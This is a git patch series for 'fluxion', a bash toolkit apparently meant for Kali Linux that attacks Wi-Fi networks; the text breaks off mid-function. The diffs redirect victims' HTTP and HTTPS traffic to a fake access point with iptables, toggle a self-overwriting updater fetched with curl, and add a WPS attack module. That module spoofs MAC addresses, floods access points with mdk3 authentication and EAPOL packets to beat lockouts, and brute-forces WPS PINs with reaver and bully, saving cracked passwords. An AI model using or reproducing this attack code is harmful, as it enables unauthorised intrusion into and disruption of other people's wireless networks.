From b8541a70d7efea102aeb469ac251cca109b063d5 Mon Sep 17 00:00:00 2001 From: William Todt Date: Mon, 7 Mar 2016 23:58:46 +0400 Subject: [PATCH 001/294] Update fluxion --- kali/fluxion | 36 ++++++++++++++++++------------------ 1 file changed, 18 insertions(+), 18 deletions(-) diff --git a/kali/fluxion b/kali/fluxion index 57fd671..2a57ef6 100755 --- a/kali/fluxion +++ b/kali/fluxion @@ -6,7 +6,8 @@ ## ## ################################ - +#HTTPS SCRIPT +# clear @@ -57,7 +58,7 @@ airmon # Check Updates function checkupdatess { - revision_online="$(timeout -s SIGTERM 20 curl -L "https://sites.google.com/site/deltaxflux/fluxion" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" + revision_online="$(timeout -s SIGTERM 20 curl -L "https://sites.google.com/site/deltaxflux/fluxion_dev" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" if [ -z "$revision_online" ]; then echo "?">$DUMP_PATH/Irev else @@ -482,22 +483,21 @@ if [ $FLUX_DEBUG != 1 ]; then spinner "$!" revision_online=$(cat $DUMP_PATH/Irev) echo -e ""$white" [${red2}${revision_online}$white"$transparent"]" -# if [ "$revision_online" != "?" ]; then -# -# if [ "$revision" != "$revision_online" ]; then -# -# cp $0 $HOME/flux_rev-$revision.backup -# curl -A "Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0" -L https://sites.google.com/site/deltaxflux/fluxion -s -o $0 -# echo -# echo -# echo -e ""$red" -#Updated successfully! Restarting the script to apply the changes ..."$transparent"" -# sleep 5 -# chmod +x $0 -# exec $0 -# -# fi -# fi + if [ "$revision_online" != "?" ]; then + + if [ "$revision" != "$revision_online" ]; then + + cp $0 $HOME/flux_rev-$revision.backup + curl -A "Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0" -L https://sites.google.com/site/deltaxflux/fluxion_dev -s -o $0 + echo + echo + echo -e ""$red" +Updated successfully! Restarting the script to apply the changes ..."$transparent"" + sleep 5 + chmod +x $0 exec $0 + + fi + fi echo "" tput cnorm sleep 2 From 0eb4c6b5f6aa26eb8a059a786634abf570e28ffe Mon Sep 17 00:00:00 2001 From: William Todt Date: Tue, 8 Mar 2016 19:17:45 +0400 Subject: [PATCH 002/294] Update fluxion --- kali/fluxion | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/kali/fluxion b/kali/fluxion index 2a57ef6..5f2d9d4 100755 --- a/kali/fluxion +++ b/kali/fluxion @@ -1471,8 +1471,8 @@ function routear { iptables --delete-chain iptables --table nat --delete-chain iptables -P FORWARD ACCEPT - iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 + iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination $IP:443 iptables -t nat -A POSTROUTING -j MASQUERADE } From a5fe50a4ff12a827e231fb5d985ec634efbb386a Mon Sep 17 00:00:00 2001 From: William Todt Date: Thu, 10 Mar 2016 20:18:00 +0400 Subject: [PATCH 003/294] Update fluxion --- kali/fluxion | 1275 +++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 1251 insertions(+), 24 deletions(-) diff --git a/kali/fluxion b/kali/fluxion index 5f2d9d4..a1e4680 100755 --- a/kali/fluxion +++ b/kali/fluxion @@ -1,13 +1,12 @@ #!/bin/bash ########## DEBUG Mode ########## -## ## +## ## FLUX_DEBUG=0 -## ## +## ## ################################ -#HTTPS SCRIPT -# + clear @@ -58,7 +57,7 @@ airmon # Check Updates function checkupdatess { - revision_online="$(timeout -s SIGTERM 20 curl -L "https://sites.google.com/site/deltaxflux/fluxion_dev" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" + revision_online="$(timeout -s SIGTERM 20 curl -L "https://sites.google.com/site/deltaxflux/fluxion" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" if [ -z "$revision_online" ]; then echo "?">$DUMP_PATH/Irev else @@ -483,21 +482,22 @@ if [ $FLUX_DEBUG != 1 ]; then spinner "$!" revision_online=$(cat $DUMP_PATH/Irev) echo -e ""$white" [${red2}${revision_online}$white"$transparent"]" - if [ "$revision_online" != "?" ]; then - - if [ "$revision" != "$revision_online" ]; then - - cp $0 $HOME/flux_rev-$revision.backup - curl -A "Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0" -L https://sites.google.com/site/deltaxflux/fluxion_dev -s -o $0 - echo - echo - echo -e ""$red" -Updated successfully! Restarting the script to apply the changes ..."$transparent"" - sleep 5 - chmod +x $0 exec $0 - - fi - fi +# if [ "$revision_online" != "?" ]; then +# +# if [ "$revision" != "$revision_online" ]; then +# +# cp $0 $HOME/flux_rev-$revision.backup +# curl -A "Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0" -L https://sites.google.com/site/deltaxflux/fluxion -s -o $0 +# echo +# echo +# echo -e ""$red" +#Updated successfully! Restarting the script to apply the changes ..."$transparent"" +# sleep 5 +# chmod +x $0 +# exec $0 +# +# fi +# fi echo "" tput cnorm sleep 2 @@ -838,7 +838,8 @@ function askAP { echo " " echo -e " "$blue"1)"$transparent" Hostapd ("$red"Recommend)"$transparent")" echo -e " "$blue"2)"$transparent" airbase-ng (Slower connection)" - echo -e " "$blue"3)"$transparent" Back" + echo -e " "$blue"3)"$transparent" WPS" + echo -e " "$blue"4)"$transparent" Back" echo " " echo -n " #> " read yn @@ -846,7 +847,8 @@ function askAP { case $yn in 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; 2 ) fakeapmode="airbase-ng"; askauth; break ;; - 3 ) selection; break ;; + 3 ) fakeapdmode="WPS"; wps; break ;; + 4 ) selection; break ;; * ) echo "Unknown option. Choose again"; conditional_clear ;; esac done @@ -857,7 +859,6 @@ function askAP { function askauth { conditional_clear - mostrarheader while true; do @@ -880,7 +881,1232 @@ Unknown option. Choose again"; conditional_clear ;; done } +function wps { +#!/bin/bash +clear +declare BSSID; +declare ESSID; +declare CHANNEL; +declare ADAPTER1; +declare ADAPTER2; +declare ADAPTER3; +declare ADAPTER4; +declare ADAPTER5; +sleep 3 +clear + +sudo rfkill unblock all + +#####Functions for Monitor Mode#### + +enable_mon_mode_1() +{ +echo "Enabling Monitor Mode on $ADAPTER1" +sudo ifconfig $ADAPTER1 down +sleep 1 +sudo iwconfig $ADAPTER1 mode monitor +sleep 1 +sudo ifconfig $ADAPTER1 up +echo "Monitor Mode Enabled" +} + +enable_mon_mode_2() +{ +echo "Enabling Monitor Mode on $ADAPTER2" +sudo ifconfig $ADAPTER2 down +sleep 1 +sudo iwconfig $ADAPTER2 mode monitor +sleep 1 +sudo ifconfig $ADAPTER2 up +echo "Monitor Mode Enabled" +} + +enable_mon_mode_3() +{ +echo "Enabling Monitor Mode on $ADAPTER3" +sudo ifconfig $ADAPTER3 down +sleep 1 +sudo iwconfig $ADAPTER3 mode monitor +sleep 1 +sudo ifconfig $ADAPTER3 up +echo "Monitor Mode Enabled" +} + +enable_mon_mode_4() +{ +echo "Enabling Monitor Mode on $ADAPTER4" +sudo ifconfig $ADAPTER4 down +sleep 1 +sudo iwconfig $ADAPTER4 mode monitor +sleep 1 +sudo ifconfig $ADAPTER4 up +echo "Monitor Mode Enabled" +} + +enable_mon_mode_5() +{ +echo "Enabling Monitor Mode on $ADAPTER5" +sudo ifconfig $ADAPTER5 down +sleep 1 +sudo iwconfig $ADAPTER5 mode monitor +sleep 1 +sudo ifconfig $ADAPTER5 up +echo "Monitor Mode Enabled" +} + +####End of Functions for Monitor Mode#### + +#### Functions for MAC CHANGER #### + +mac_change_1() +{ +echo "Setting the MAC Address on $ADAPTER1" +sudo ifconfig $ADAPTER1 down +sleep 3 +macchanger $ADAPTER1 -m 02:22:88:29:EC:6F +sleep 3 +sudo ifconfig $ADAPTER1 up +echo "MAC Changed" +} + +mac_change_2() +{ +echo "Setting the MAC Address on $ADAPTER2" +sudo ifconfig $ADAPTER2 down +sleep 3 +macchanger $ADAPTER2 -m 02:22:88:29:EC:6F +sleep 3 +sudo ifconfig $ADAPTER2 up +echo "MAC Changed" +} + +mac_change_3() +{ +echo "Setting the MAC Address on $ADAPTER3" +sudo ifconfig $ADAPTER3 down +sleep 3 +macchanger $ADAPTER3 -m 02:22:88:29:EC:6F +sleep 3 +sudo ifconfig $ADAPTER3 up +echo "MAC Changed" +} + +mac_change_4() +{ +echo "Setting the MAC Address on $ADAPTER4" +sudo ifconfig $ADAPTER4 down +sleep 3 +macchanger $ADAPTER4 -m 02:22:88:29:EC:6F +sleep 3 +sudo ifconfig $ADAPTER4 up +echo "MAC Changed" +} + +mac_change_5() +{ +echo "Setting the MAC Address on $ADAPTER5" +sudo ifconfig $ADAPTER5 down +sleep 3 +macchanger $ADAPTER5 -m 02:22:88:29:EC:6F +sleep 3 +sudo ifconfig $ADAPTER5 up +echo "MAC Changed" +} + +####End of Functions for MAC CHANGER #### + + +####Target Scanner#### + +scan_for_targets() +{ + +sudo ifconfig $ADAPTER1 down +sudo iwconfig $ADAPTER1 mode managed +sudo ifconfig $ADAPTER1 up + +eval $(sudo iwlist $ADAPTER1 scan | awk '/Address|ESSID|Channel:/' | sed 's/"//g' | sed 's/ Cell 01 - Address: /BSSID1=/g' | sed 's/ Cell 02 - Address: /BSSID2=/g' | sed 's/ Cell 03 - Address: /BSSID3=/g' | sed 's/ Cell 04 - Address: /BSSID4=/g' | sed 's/ Cell 05 - Address: /BSSID5=/g' | sed 's/ Cell 06 - Address: /BSSID6=/g' | sed 's/ Cell 07 - Address: /BSSID7=/g' | sed 's/ Cell 08 - Address: /BSSID8=/g' | sed 's/ Cell 09 - Address: /BSSID9=/g' | sed 's/ Cell 10 - Address: /BSSID10=/g' | sed 's/ Cell 11 - Address: /BSSID11=/g' | sed 's/ Cell 12 - Address: /BSSID12=/g' | sed 's/ Cell 13 - Address: /BSSID13=/g' | sed 's/ Cell 14 - Address: /BSSID14=/g' | sed 's/ Cell 15 - Address: /BSSID15=/g' | sed 's/ Cell 16 - Address: /BSSID16=/g' | sed 's/ Cell 17 - Address: /BSSID17=/g' | sed 's/ Cell 18 - Address: /BSSID18=/g' | sed 's/ Cell 19 - Address: /BSSID19=/g' | sed 's/ Cell 20 - Address: /BSSID20=/g' | sed '2s/ Channel:/CHANNEL1=/g' | sed '5s/ Channel:/CHANNEL2=/g' | sed '8s/ Channel:/CHANNEL3=/g' | sed '11s/ Channel:/CHANNEL4=/g' | sed '14s/ Channel:/CHANNEL5=/g' | sed '17s/ Channel:/CHANNEL6=/g' | sed '20s/ Channel:/CHANNEL7=/g' | sed '23s/ Channel:/CHANNEL8=/g' | sed '26s/ Channel:/CHANNEL9=/g' | sed '29s/ Channel:/CHANNEL10=/g' | sed '32s/ Channel:/CHANNEL11=/g' |sed '35s/ Channel:/CHANNEL12=/g' | sed '38s/ Channel:/CHANNEL13=/g' | sed '41s/ Channel:/CHANNEL14=/g' | sed '44s/ Channel:/CHANNEL15=/g' | sed '47s/ Channel:/CHANNEL16=/g' | sed '50s/ Channel:/CHANNEL17=/g' | sed '53s/ Channel:/CHANNEL18=/g' | sed '56s/ Channel:/CHANNEL19=/g' | sed '59s/ Channel:/CHANNEL20=/g' | sed '3s/ ESSID:/ESSID1=/g' | sed '6s/ ESSID:/ESSID2=/g' | sed '9s/ ESSID:/ESSID3=/g' | sed '12s/ ESSID:/ESSID4=/g' | sed '15s/ ESSID:/ESSID5=/g' | sed '18s/ ESSID:/ESSID6=/g' | sed '21s/ ESSID:/ESSID7=/g' | sed '24s/ ESSID:/ESSID8=/g' | sed '27s/ ESSID:/ESSID9=/g' | sed '30s/ ESSID:/ESSID10=/g' | sed '33s/ ESSID:/ESSID11=/g' | sed '36s/ ESSID:/ESSID12=/g' | sed '39s/ ESSID:/ESSID13=/g' | sed '42s/ ESSID:/ESSID14=/g' | sed '45s/ ESSID:/ESSID15=/g' | sed '48s/ ESSID:/ESSID16=/g' | sed '51s/ ESSID:/ESSID17=/g' | sed '54s/ ESSID:/ESSID18=/g' | sed '57s/ ESSID:/ESSID19=/g' | sed '60s/ ESSID:/ESSID20=/g') + +conditional_clear +mostrarheader + +echo "Select your wlan" + echo " " + echo -e " "$blue"1)"$transparent" $ESSID1" + echo -e " "$blue"2)"$transparent" $ESSID2" + echo -e " "$blue"3)"$transparent" $ESSID3" + echo -e " "$blue"4)"$transparent" $ESSID4" + echo -e " "$blue"5)"$transparent" $ESSID5" + echo -e " "$blue"6)"$transparent" $ESSID6" + echo -e " "$blue"7)"$transparent" $ESSID7" + echo -e " "$blue"8)"$transparent" $ESSID9" + echo -e " "$blue"9)"$transparent" $ESSID10" + echo -e " "$blue"10)"$transparent" $ESSID11" + echo -e " "$blue"11)"$transparent" $ESSID11" + echo -e " "$blue"12)"$transparent" $ESSID12" + echo -e " "$blue"13)"$transparent" $ESSID13" + echo -e " "$blue"14)"$transparent" $ESSID14" + echo -e " "$blue"15)"$transparent" $ESSID15" + echo -e " "$blue"16)"$transparent" $ESSID16" + echo -e " "$blue"17)"$transparent" $ESSID17" + echo -e " "$blue"18)"$transparent" $ESSID18" + echo -e " "$blue"19)"$transparent" $ESSID19" + echo -e " "$blue"20)"$transparent" $ESSID20" + + +read a +case $a in + + 0) +clear +scan_for_targets +;; + 1) +BSSID=$BSSID1 +ESSID=$ESSID1 +CHANNEL=$CHANNEL1 +;; + 2) +BSSID=$BSSID2 +ESSID=$ESSID2 +CHANNEL=$CHANNEL2 +;; + 3) +BSSID=$BSSID3 +ESSID=$ESSID3 +CHANNEL=$CHANNEL3 +;; + 4) +BSSID=$BSSID4 +ESSID=$ESSID4 +CHANNEL=$CHANNEL4 +;; + 5) +BSSID=$BSSID5 +ESSID=$ESSID5 +CHANNEL=$CHANNEL5 +;; + 6) +BSSID=$BSSID6 +ESSID=$ESSID6 +CHANNEL=$CHANNEL6 +;; + 7) +BSSID=$BSSID7 +ESSID=$ESSID7 +CHANNEL=$CHANNEL7 +;; + 8) +BSSID=$BSSID8 +ESSID=$ESSID8 +CHANNEL=$CHANNEL8 +;; + 9) +BSSID=$BSSID9 +ESSID=$ESSID9 +CHANNEL=$CHANNEL9 +;; + 10) +BSSID=$BSSID10 +ESSID=$ESSID10 +CHANNEL=$CHANNEL10 +;; + 11) +BSSID=$BSSID11 +ESSID=$ESSID11 +CHANNEL=$CHANNEL11 +;; + 12) +BSSID=$BSSID12 +ESSID=$ESSID12 +CHANNEL=$CHANNEL12 +;; + 13) +BSSID=$BSSID13 +ESSID=$ESSID13 +CHANNEL=$CHANNEL13 +;; + 14) +BSSID=$BSSID14 +ESSID=$ESSID14 +CHANNEL=$CHANNEL14 +;; + 15) +BSSID=$BSSID15 +ESSID=$ESSID15 +CHANNEL=$CHANNEL15 +;; + 16) +BSSID=$BSSID16 +ESSID=$ESSID16 +CHANNEL=$CHANNEL16 +;; + 17) +BSSID=$BSSID17 +ESSID=$ESSID17 +CHANNEL=$CHANNEL17 +;; + 18) +BSSID=$BSSID18 +ESSID=$ESSID18 +CHANNEL=$CHANNEL18 +;; + 19) +BSSID=$BSSID19 +ESSID=$ESSID19 +CHANNEL=$CHANNEL19 +;; + 20) +BSSID=$BSSID20 +ESSID=$ESSID20 +CHANNEL=$CHANNEL20 +;; + *) +Invalid Option +;; +esac + +} + +####End of Target Scanner#### + +################################## Functions For MDK3 ######################################## + +run_mdk3_ASOC1() +{ + xterm -e "timeout 60 mdk3 $ADAPTER1 a -a $BSSID -m" +} + +run_mdk3_EAPOL1() +{ + xterm -e "timeout 20s mdk3 $ADAPTER1 x 0 -t $BSSID -n $ESSID -s 250" +} + +run_mdk3_ASOC2() +{ + xterm -e "timeout 60 mdk3 $ADAPTER1 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m" +} + +run_mdk3_EAPOL2() +{ + xterm -e "timeout 20s mdk3 $ADAPTER1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250" +} + +run_mdk3_ASOC3() +{ + xterm -e "timeout 60 mdk3 $ADAPTER1 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER3 a -a $BSSID -m" +} + +run_mdk3_EAPOL3() +{ + xterm -e "timeout 20s mdk3 $ADAPTER1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER3 x 0 -t $BSSID -n $ESSID -s 250" +} + +run_mdk3_ASOC4() +{ + xterm -e "timeout 60 mdk3 $ADAPTER1 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER3 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER4 a -a $BSSID -m" +} + +run_mdk3_EAPOL4() +{ + xterm -e "timeout 20s mdk3 $ADAPTER1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER4 x 0 -t $BSSID -n $ESSID -s 250" +} + +run_mdk3_ASOC5() +{ + xterm -e "timeout 60 mdk3 $ADAPTER1 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER3 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER4 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER5 a -a $BSSID -m" +} + +run_mdk3_EAPOL5() +{ + xterm -e "timeout 20s mdk3 $ADAPTER1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER4 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER5 x 0 -t $BSSID -n $ESSID -s 250" +} + +##################################End Of Functions For MDK3 ######################################## + +conditional_clear +mostrarheader + +echo "§How many wlan Adapters§" +echo " " +echo -e ""$blue"1)"$transparent" 1 Adapter" +echo -e ""$blue"2)"$transparent" 2 Adapter" +echo -e ""$blue"3)"$transparent" 3 Adapter" +echo -e ""$blue"4)"$transparent" Back" +echo " " +echo -n " #> " + +read a +case $a in + 1) +clear +echo +read -p " - What is the name of your Wlan Adapter (Ex:wlan0) - ": ADAPTER1; + +clear + +scan_for_targets + + +clear + +enable_mon_mode_1 + +sleep 1 + +clear + + + +conditional_clear +mostrarheader + +echo "Change MAC Address" +echo " " + echo -e " "$blue"1)"$transparent" yes" + echo -e " "$blue"2)"$transparent" no" + echo " " + echo -n " #> " + +read c +case $c in + 1) +clear + +mac_change_1 + +sleep 1 + +clear +;; + 2) +clear +;; + *)Invalid Option +;; +esac + + +menu () { +clear +conditional_clear +mostrarheader + + echo "Select your Attack Methode" + echo " " + echo -e " "$blue"0)"$transparent" Select New Target Network" + echo -e " "$blue"1)"$transparent" EAPOL Start Flood" + echo -e " "$blue"2)"$transparent" Authentication Flood" + echo -e " "$blue"3)"$transparent" Reaver" + echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" + echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" + echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" + echo -e " "$blue"7)"$transparent" Bully" + echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" + echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" + echo " " + echo -n " #> " + +echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" + +read d +case $d in + 0) +clear +scan_for_targets +enable_mon_mode_1 +menu +;; + 1) +clear +timeout 20s mdk3 $ADAPTER1 x 0 -t $BSSID -n $ESSID -s 250 +menu +;; + 2) +clear +timeout 60 mdk3 $ADAPTER1 a -a $BSSID -m +menu +;; + 3) +clear +reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv +menu +;; + 4) +clear +xterm -e "wash -i $ADAPTER1" & +menu +;; + 5) +clear +reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_ASOC1 + fi + sleep 1 +done +menu +;; + 6) +clear +reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_EAPOL1 + fi + sleep 1 +done +menu +;; + 7) +clear +bully -b $BSSID -c $CHANNEL $ADAPTER1 +menu +;; + 8) +clear +bully -b $BSSID -c $CHANNEL $ADAPTER1 | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_ASOC1 + fi + sleep 1 +done +menu +;; + 9) +clear +bully -b $BSSID -c $CHANNEL $ADAPTER1 | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_EAPOL1 + fi + sleep 1 +done +menu +;; + *)Invalid Option +menu +;; +esac +} + +menu + +;; + 2) +clear + +conditional_clear +mostrarheader +echo +read -p " - What is the name of your 1st Wlan Adapter (Ex:Wlan0) - ": ADAPTER1; +clear +echo +read -p " - What is the name of your 2nd Wlan Adapter (Ex:Wlan1) - ": ADAPTER2; +clear + +scan_for_targets + +clear + +enable_mon_mode_1 + +enable_mon_mode_2 + +clear +conditional_clear +mostrarheader +echo "Second Adapter +1)Yes +2)No" + +read f +case $f in + 1) +clear + +mac_change_1 + +mac_change_2 + +clear +;; + 2) +;; + *)Invalid Option +;; +esac + + + +menu () { +clear +conditional_clear +mostrarheader + + echo "Select your Attack Methode" + echo " " + echo -e " "$blue"0)"$transparent" Select New Target Network" + echo -e " "$blue"1)"$transparent" EAPOL Start Flood" + echo -e " "$blue"2)"$transparent" Authentication Flood" + echo -e " "$blue"3)"$transparent" Reaver" + echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" + echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" + echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" + echo -e " "$blue"7)"$transparent" Bully" + echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" + echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" + echo " " + echo -n " #> " + +echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" +read g +case $g in + 0) +clear +scan_for_targets +enable_mon_mode_1 +menu +;; + 1) +clear +timeout 20s mdk3 $ADAPTER1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250 +menu +;; + 2) +clear +timeout 60 mdk3 $ADAPTER1 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m +menu +;; + 3) +clear +reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv +menu +;; + 4) +clear +xterm -e "wash -i $ADAPTER1" & +menu +;; + 5) +clear +reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_ASOC2 + fi + sleep 1 +done +menu +;; + 6) +clear +reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_EAPOL2 + fi + sleep 1 +done +menu +;; + 7) +clear +bully -b $BSSID -c $CHANNEL $ADAPTER1 +menu +;; + 8) +clear +bully -b $BSSID -c $CHANNEL $ADAPTER1 | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_ASOC2 + fi + sleep 1 +done +menu +;; + 9) +clear +bully -b $BSSID -c $CHANNEL $ADAPTER1 | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_EAPOL2 + fi + sleep 1 +done +menu +;; + *)Invalid Option +menu +;; +esac + +} + +menu +conditional_clear +mostrarheader +;; + 3) +clear +echo +read -p " - What is the name of your 1st Wlan Adapter (Ex:Wlan0) - ": ADAPTER1; +clear +echo +read -p " - What is the name of your 2nd Wlan Adapter (Ex:Wlan1) - ": ADAPTER2; +clear +echo +read -p " - What is the name of your 3rd Wlan Adapter (Ex:Wlan2) - ": ADAPTER3; +clear + +scan_for_targets + +clear + + +enable_mon_mode_1 + +enable_mon_mode_2 + +enable_mon_mode_3 + + + + +clear +conditional_clear +mostrarheader +echo "************** - Would you like to set the 3 Adapters to an Identical MAC Address? - ************** +1)Yes +2)No" + +read i +case $i in + 1) +clear + +mac_change_1 + +mac_change_2 + +mac_change_3 + +clear +;; + 2) +;; + *)Invalid Option +;; +esac + + +menu () { +clear +conditional_clear +mostrarheader + + echo "Select your Attack Methode" + echo " " + echo -e " "$blue"0)"$transparent" Select New Target Network" + echo -e " "$blue"1)"$transparent" EAPOL Start Flood" + echo -e " "$blue"2)"$transparent" Authentication Flood" + echo -e " "$blue"3)"$transparent" Reaver" + echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" + echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" + echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" + echo -e " "$blue"7)"$transparent" Bully" + echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" + echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" + echo " " + echo -n " #> " + +echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" +read j +case $j in + 0) +clear +scan_for_targets +enable_mon_mode_1 +menu +;; + 1) +clear +timeout 20s mdk3 $ADAPTER1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $ADAPTER3 x 0 -t $BSSID -n $ESSID -s 250 +menu +;; + 2) +clear +timeout 60 mdk3 $ADAPTER1 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER2 a -a $BSSID -m & timeout 60 mdk3 $ADAPTER3 a -a $BSSID -m +menu +;; + 3) +clear +reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv +menu +;; + 4) +clear +xterm -e "wash -i $ADAPTER1" & +menu +;; + 5) +clear +reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_ASOC3 + fi + sleep 1 +done +menu +;; + 6) +clear +reaver -i $ADAPTER1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_EAPOL3 + fi + sleep 1 +done +menu +;; + 7) +clear +bully -b $BSSID -c $CHANNEL $ADAPTER1 +menu +;; + 8) +clear +bully -b $BSSID -c $CHANNEL $ADAPTER1 | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_ASOC3 + fi + sleep 1 +done +menu +;; + 9) +clear +bully -b $BSSID -c $CHANNEL $ADAPTER1 | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_EAPOL3 + fi + sleep 1 +done +menu +;; + *)Invalid Option +menu +;; +esac +} + +menu + +;; + 4) +clear +echo +read -p " - What is the name of your 1st Wlan Adapter (Ex:Wlan0) - ": ADAPTER1; +clear +echo +read -p " - What is the name of your 2nd Wlan Adapter (Ex:Wlan1) - ": ADAPTER2; +clear +echo +read -p " - What is the name of your 3rd Wlan Adapter 